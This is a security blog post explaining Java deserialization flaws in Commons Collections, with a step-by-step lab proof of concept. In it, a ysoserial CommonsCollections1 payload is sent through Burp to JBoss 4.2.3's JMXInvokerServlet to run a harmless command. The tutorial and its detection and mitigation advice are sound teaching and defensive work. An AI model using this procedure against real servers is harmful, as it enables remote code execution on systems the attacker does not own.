There’re lots of vulnerabilities out there, but I think the most important one has been forgotten. Compared to Imagetragick, the “Unserialize vulnerability” got forgotten as fast as it was published. On November, 6th 2015, I first read about it when foxglovesecurity published research they had done, and since then I heard about a real attack on Paypal servers.
In this blog post, I’ll focus on Java and I’ll use JBoss application server on my demo. JBoss is an application server that contains many containers such as, WEB Container, EE/EJB Container, etc. It’s a web container based on a Tomcat server, but its completely different from Tomcat, read more about JBoss.
What’s serialization and deserialization
Serialization is about streaming data to disk or over the network, so if you send a request, then the process of converting will do serialization, and when the process read the data back it will do deserialization. Class ObjectInputStream and class ObjectOutputStream both handle serialization and deserialization. Example:
public static Object deserialize(String fileName) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(fileName); BufferedInputStream bis = new BufferedInputStream(fis); ObjectInputStream ois = new ObjectInputStream(bis); Object obj = ois.readObject(); ois.close(); return obj; } public static void serialize(Object obj, String fileName) throws IOException { FileOutputStream fos = new FileOutputStream(fileName); BufferedOutputStream bos = new BufferedOutputStream(fos); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); oos.close(); }
Am I vulnerable too?
Simple check will show you if you vulnerable or not:
~/jboss-4.2.3.GA# grep -R InvokerTransformer .
Well results:
Binaryfile./server/all/lib/commons-collections.jarmatches Binaryfile./server/default/lib/commons-collections.jarmatches
Also, you should run the same command on your development environment and see if you’re using common or not. (95% you are :)).
How to detect Java serialized object
Here’s an example of raw byte data of a serialization Java object: AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65 73 74 05 52 81 5A AC 66 02 F6 02 00 02 49 00 07 As you can see I emphasis AC ED 00 05 which points out that this is a Java serialized object (Sometimes you’ll see Java classes in the request like artsploit finding).
How to exploit it, PoC example (Ubuntu-Jboss)
First, you need to download Jboss 4.2.3. Second, you need to download ysoserial’s tool, which helps us to generate unsafe object deserialization.
After Jboss download run the following command:
Unzip JBoss
unzip jboss-4.2.3.GA.zip
Detect your local ip
ifconfig and copy the private it, e.g. 192.168.231.132
Start Jboss
./run.sh -b 192.168.231.132
Verify Jboss has started
[Server] JBoss (MX MicroKernel) [4.2.3.GA (build: SVNTag=JBoss_4_2_3_GA date=200807181417)] Started in 5s:467ms
Clone ysoserial’s tool with git
git command
git clone [https://github.com/frohoff/ysoserial.git](https://github.com/frohoff/ysoserial.git)
Compile and build ysoserial
mvn clean install
Create our payload.
~/ysoserial $ java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1 'touch /tmp/RCE_vuln.txt' > payload.out
Run burp-suite and make capture the request and send it to repeater
http://192.168.231.132:8080/invoker/JMXInvokerServlet
Upload the payload to burp suite — repeater
On repeater change the GET to POST, **then** right click and upload the payload from a file
Check the machine where Jboss installed
ls /tmp/ and you'll see RCE_vuln.txt
Conclusion
As you can see, you need to verify that the website is vulnerable to common-collection and then you should act and create payload. The following image present the state on my machine after the attack succeeded.
Burp-suite and server side.
Mitigations
Any application server should upgrade the commons-collections. E.g. Collections-580 or JBoss
